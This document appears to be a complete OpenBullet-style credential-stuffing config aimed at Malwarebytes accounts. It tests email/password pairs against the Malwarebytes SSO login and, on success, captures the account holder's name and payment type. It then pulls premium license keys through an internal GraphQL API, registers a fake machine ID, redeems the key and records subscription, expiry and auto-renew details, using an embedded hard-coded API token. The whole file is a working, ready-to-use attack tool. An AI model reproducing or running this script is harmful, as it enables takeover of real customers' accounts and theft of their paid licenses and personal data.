REQUEST POST "https://my-sso.malwarebytes.com/auth"
CONTENT "{\"email\": \"<USER>\", \"password\": \"<PASS>\", \"generate_holocron_token\": true}"
CONTENTTYPE "application/json"
HEADER "Host: my-sso.malwarebytes.com"
HEADER "Content-Type: application/json"
HEADER "User-Agent: MBAM/4.3.0.98 (build: 1.0.1173; Windows 10.0.18042)"
HEADER "Connection: Keep-Alive"
HEADER "Accept-Language: en-US,*"
HEADER "Accept-Encoding: gzip, deflate"
KEYCHECK
KEYCHAIN Failure OR
KEY "invalid_credentials"
KEY "account_set_up_disabled"
KEY "account_set_up_required"
KEYCHAIN Success OR
KEY "auth"
KEYCHAIN Retry OR
KEY "access_locked"
PARSE "<SOURCE>" LR "first_name\":\"" "\",\"last_name\":\"" CreateEmpty=FALSE -> CAP "Name:-"
PARSE "<SOURCE>" LR "type\":{\"name\":\"" "\",\"" CreateEmpty=FALSE -> CAP "Payment:-"
PARSE "<SOURCE>" LR "holocron_user_token\":\"" "\"}" -> VAR "bt"
REQUEST POST "https://holocron.mwbsys.com/graphql"
CONTENT "{ \"query\": \"query($where: ViewerWhereInput) { viewer{ keystoneKeys(where: $where) { licenseKey default } } }\", \"variables\": { \"where\": { \"product\": \"premium\" } } }"
CONTENTTYPE "application/json"
HEADER "Host: holocron.mwbsys.com"
HEADER "Authorization: Bearer <bt>"
HEADER "Content-Type: application/json"
HEADER "Connection: Keep-Alive"
HEADER "Accept-Language: en-US,*"
HEADER "User-Agent: Mozilla/5.0"
HEADER "Accept-Encoding: gzip, deflate"
PARSE "<SOURCE>" LR "\"licenseKey\":\"" "\",\"" Recursive=TRUE -> VAR "lt"
FUNCTION CountOccurrences "," "<lt>" -> VAR "ctt"
FUNCTION Compute "<ctt>+1" -> VAR "ct"
IF "<ctt>" Contains "0"
IF "<SOURCE>" Contains "true"
FUNCTION RandomString "?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d" -> VAR "mi"
REQUEST POST "https://keystone.mwbsys.com//api/v1/installations/register.json"
CONTENT "{\"machine_id\" : \"<mi>\",\"product_build\" : \"consumer\",\"product_code\" : \"MBAM-C\",\"product_version\" : \"4.3.0\",\"tags\" : \"{\\\\u000a \\\"affiliate_id\\\" : \\\"\\\",\\\\u000a \\\"affiliate_name\\\" : \\\"\\\",\\\\u000a \\\"antivirus\\\" : [\\\\u000a \\\"Windows Defender\\\"\\\\u000a ],\\\\u000a \\\"biz_env\\\" : false,\\\\u000a \\\"domain_devices\\\" : 0,\\\\u000a \\\"domain_name\\\" : \\\"\\\",\\\\u000a \\\"is_on_domain\\\" : false,\\\\u000a \\\"license_state\\\" : \\\"trialExpired\\\",\\\\u000a \\\"os\\\" : \\\"Windows 10 (Build 14393.2189)\\\",\\\\u000a \\\"os_build\\\" : \\\"14393\\\",\\\\u000a \\\"unredeem_reason\\\" : \\\"\\\",\\\\u000a \\\"user_is_admin\\\" : false\\\\u000a}\"}"
CONTENTTYPE "application/json"
HEADER "User-Agent: MBAM-C/4.3.0.98/consumer"
HEADER "Authorization: Token token=\"PibtEHLM7kuWpRZ678pd\""
HEADER "Connection: Close"
HEADER "Host: keystone.mwbsys.com"
PARSE "<SOURCE>" LR "installation_token\":\"" "\",\"" -> VAR "it"
REQUEST POST "https://keystone.mwbsys.com//api/v1/installations/redeem.json"
CONTENT "{ \"installation_token\" : \"<it>\", \"license_key\" : \"<lt>\", \"tags\" : \"{\\\\u000a \\\"affiliate_id\\\" : \\\"\\\",\\\\u000a \\\"affiliate_name\\\" : \\\"\\\",\\\\u000a \\\"antivirus\\\" : [\\\\u000a \\\"Windows Defender\\\"\\\\u000a ],\\\\u000a \\\"biz_env\\\" : false,\\\\u000a \\\"domain_devices\\\" : 0,\\\\u000a \\\"domain_name\\\" : \\\"\\\",\\\\u000a \\\"is_on_domain\\\" : false,\\\\u000a \\\"license_state\\\" : \\\"trialExpired\\\",\\\\u000a \\\"os\\\" : \\\"Windows 10 (Build 14393.2189)\\\",\\\\u000a \\\"os_build\\\" : \\\"14393\\\",\\\\u000a \\\"unredeem_reason\\\" : \\\"\\\",\\\\u000a \\\"user_is_admin\\\" : false\\\\u000a}\" }"
CONTENTTYPE "application/json"
HEADER "User-Agent: MBAM-C/4.3.0.98/consumer"
HEADER "Content-Type: application/json"
HEADER "Enable-Catalog-Enforcement: true"
HEADER "Authorization: Token token=\"PibtEHLM7kuWpRZ678pd\""
HEADER "Connection: Close"
HEADER "Host: keystone.mwbsys.com"
PARSE "<SOURCE>" LR ",\"name\":\"" "\",\"" CreateEmpty=FALSE -> CAP "Subscription:-"
PARSE "<SOURCE>" LR "\":{\"term_ends_on\":\"" "T" CreateEmpty=FALSE -> CAP "Expiry On:-"
PARSE "<SOURCE>" LR ",\"auto_renew\":\"" "\",\"" CreateEmpty=FALSE -> CAP "Auto Renew:-"
PARSE "<SOURCE>" LR ",\"is_trial_allowed\":" ",\"" CreateEmpty=FALSE -> CAP "Trial:-"
ELSE
FUNCTION Constant "** <ct> ** so LOGIN and Check Manual its Valid or NOT !!" -> CAP "Number of License Keys"
ELSE
ENDIF
FUNCTION Constant "<lt>" -> CAP "LicenseKeys:-"
KEYCHECK
KEYCHAIN Custom "FREE" OR
KEY "{\"data\":{\"viewer\":{\"keystoneKeys\":[]}}}"
KEYCHAIN Success OR
KEY "volume_maxed"
KEY "status\":\"ok"
KEY "<ct>" GreaterThan "1"
KEYCHAIN Retry OR
KEY "installation_token_not_found"
KEYCHAIN Custom "EXPIRED" OR
KEY "The current license entitlement has expired"
KEY "The License Key has been refunded"